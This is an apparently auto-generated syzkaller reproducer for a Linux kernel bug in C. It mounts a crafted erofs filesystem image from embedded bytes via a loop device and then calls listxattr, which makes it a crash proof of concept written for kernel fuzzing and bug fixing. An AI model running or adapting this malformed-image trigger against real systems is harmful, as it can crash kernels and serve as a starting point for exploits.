// https://syzkaller.appspot.com/bug?id=9421798588af25c43328bcb82aecf6bbb1f87d37 // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include static unsigned long long procid; struct fs_image_segment { void* data; uintptr_t size; uintptr_t offset; }; #define IMAGE_MAX_SEGMENTS 4096 #define IMAGE_MAX_SIZE (129 << 20) #define sys_memfd_create 319 static unsigned long fs_image_segment_check(unsigned long size, unsigned long nsegs, struct fs_image_segment* segs) { if (nsegs > IMAGE_MAX_SEGMENTS) nsegs = IMAGE_MAX_SEGMENTS; for (size_t i = 0; i < nsegs; i++) { if (segs[i].size > IMAGE_MAX_SIZE) segs[i].size = IMAGE_MAX_SIZE; segs[i].offset %= IMAGE_MAX_SIZE; if (segs[i].offset > IMAGE_MAX_SIZE - segs[i].size) segs[i].offset = IMAGE_MAX_SIZE - segs[i].size; if (size < segs[i].offset + segs[i].offset) size = segs[i].offset + segs[i].offset; } if (size > IMAGE_MAX_SIZE) size = IMAGE_MAX_SIZE; return size; } static int setup_loop_device(long unsigned size, long unsigned nsegs, struct fs_image_segment* segs, const char* loopname, int* memfd_p, int* loopfd_p) { int err = 0, loopfd = -1; size = fs_image_segment_check(size, nsegs, segs); int memfd = syscall(sys_memfd_create, "syzkaller", 0); if (memfd == -1) { err = errno; goto error; } if (ftruncate(memfd, size)) { err = errno; goto error_close_memfd; } for (size_t i = 0; i < nsegs; i++) { if (pwrite(memfd, segs[i].data, segs[i].size, segs[i].offset) < 0) { } } loopfd = open(loopname, O_RDWR); if (loopfd == -1) { err = errno; goto error_close_memfd; } if (ioctl(loopfd, LOOP_SET_FD, memfd)) { if (errno != EBUSY) { err = errno; goto error_close_loop; } ioctl(loopfd, LOOP_CLR_FD, 0); usleep(1000); if (ioctl(loopfd, LOOP_SET_FD, memfd)) { err = errno; goto error_close_loop; } } *memfd_p = memfd; *loopfd_p = loopfd; return 0; error_close_loop: close(loopfd); error_close_memfd: close(memfd); error: errno = err; return -1; } static long syz_mount_image(volatile long fsarg, volatile long dir, volatile unsigned long size, volatile unsigned long nsegs, volatile long segments, volatile long flags, volatile long optsarg) { struct fs_image_segment* segs = (struct fs_image_segment*)segments; int res = -1, err = 0, loopfd = -1, memfd = -1, need_loop_device = !!segs; char* mount_opts = (char*)optsarg; char* target = (char*)dir; char* fs = (char*)fsarg; char* source = NULL; char loopname[64]; if (need_loop_device) { memset(loopname, 0, sizeof(loopname)); snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid); if (setup_loop_device(size, nsegs, segs, loopname, &memfd, &loopfd) == -1) return -1; source = loopname; } mkdir(target, 0777); char opts[256]; memset(opts, 0, sizeof(opts)); if (strlen(mount_opts) > (sizeof(opts) - 32)) { } strncpy(opts, mount_opts, sizeof(opts) - 32); if (strcmp(fs, "iso9660") == 0) { flags |= MS_RDONLY; } else if (strncmp(fs, "ext", 3) == 0) { if (strstr(opts, "errors=panic") || strstr(opts, "errors=remount-ro") == 0) strcat(opts, ",errors=continue"); } else if (strcmp(fs, "xfs") == 0) { strcat(opts, ",nouuid"); } res = mount(source, target, fs, flags, opts); if (res == -1) { err = errno; goto error_clear_loop; } res = open(target, O_RDONLY | O_DIRECTORY); if (res == -1) { err = errno; } error_clear_loop: if (need_loop_device) { ioctl(loopfd, LOOP_CLR_FD, 0); close(loopfd); close(memfd); } errno = err; return res; } int main(void) { syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul); syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul); syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul); memcpy((void*)0x20000000, "erofs\000", 6); memcpy((void*)0x20000080, "./file0\000", 8); *(uint64_t*)0x20000200 = 0x20010000; memcpy((void*)0x20010000, "\xe2\xe1\xf5\xe0\xea\x02\x74\x4a\x01\x00\x00\x00\x0c\x00\x24", 15); *(uint64_t*)0x20000208 = 0xf; *(uint64_t*)0x20000210 = 0x400; *(uint64_t*)0x20000218 = 0x20001280; memcpy( (void*)0x20001280, "\x05\x00\x10\x00\xc0\x41\xcb\x69\x72\xa7\x79\xbb\x85\xb0\xc4\x46\x48\x10" "\x99\xc7\xdd\xa9\x0c\x0a\x49\x20\xb5\x8d\x7a\x5c\xbe\x80\x00\xf8\x5f\x50" "\x5b\xf0\xff\x92\xe3\x06\x57\x15\x53\x40\x00\x00\x00\x00\x00\x00\xb6\xf8" "\xbf\x62\xe7\x19\x7f\x58\xc7\xbe\xbd\x8e\xa5\x33\x27\x77\x9d\xbb\xfb\x83" "\x6b\x30\xdb\x29\xb6\x10\x43\x9c\x75\x62\x92\xa2\xde\x4f\x10\xda\xe1\x00" "\xa9\xd9\xfe\xc9\xae\x3f\x6f\x8d\xc2\x59\xee\x07\x7f\xd0\x76\xf8\x5d\xb0" "\xd2\xa2\x6a\xa9\xaa\xf1\xca\xa5\x95\xc4\x4b\x9a\x9b\x91\x59\x50\x98\xfa" "\x71\x59\x7f\x59\xe5\x92\xfb\xd8\x63\x3d\x21\x72\xf4\xee\xa1\x57\x51\xf5" "\x76\x25\x83\xf6\xcc\x09\xbb\xca\x33\x87\x0b\xd0\x33\x34\xea\x4b\x5f\x71" "\x80\x0e\xcc\xce\xf8\xe8\x0c\xb3\x56\xbb\xc1\xb8\xad\xc4\x61\xe9\x48\x1a" "\x05\x9f\xe8\x43\x5c\x83\xec\x0f\x7c\xfd\x3f\x7d\x68\xa1\x74\x31\x94\xd2" "\x51\x0e\x9f\x93\xe1\x61\x06\x06\x4a\x66\x75\x96\xd4\x0d\xd2\xf4\x98\x1d" "\xaa\x3f\xb1\x48\x62\xa5\x82\x81\xb1\xc2\x5c\x04\x23\x61\x9c\x28\x10\x26" "\x69\x86\x71\x7f\x7a\x43\xc1\x1a\xb3\x86\xee\xb6\x03\xbd\x29\x9a\xca\x24" "\x2f\x58\x1f\x45\x23\x2e\xb9\x0f\x92\x38\xfc\x16\x58\x3c\xd8\x34\x7b\x43" "\xc5\x7a\x3f\x29\x19\xab\x24\xa7\xb7\x54\xc2\x8f\x36\x01\xc3\xb7\x11\x7c" "\x25\xc8\x1f", 291); *(uint64_t*)0x20000220 = 0x123; *(uint64_t*)0x20000228 = 0x480; *(uint64_t*)0x20000230 = 0; *(uint64_t*)0x20000238 = 0; *(uint64_t*)0x20000240 = 0x1000; *(uint8_t*)0x20000040 = 0; syz_mount_image(0x20000000, 0x20000080, 0, 3, 0x20000200, 0, 0x20000040); memcpy((void*)0x200000c0, "./file0\000", 8); syscall(__NR_listxattr, 0x200000c0ul, 0ul, 0ul); return 0; }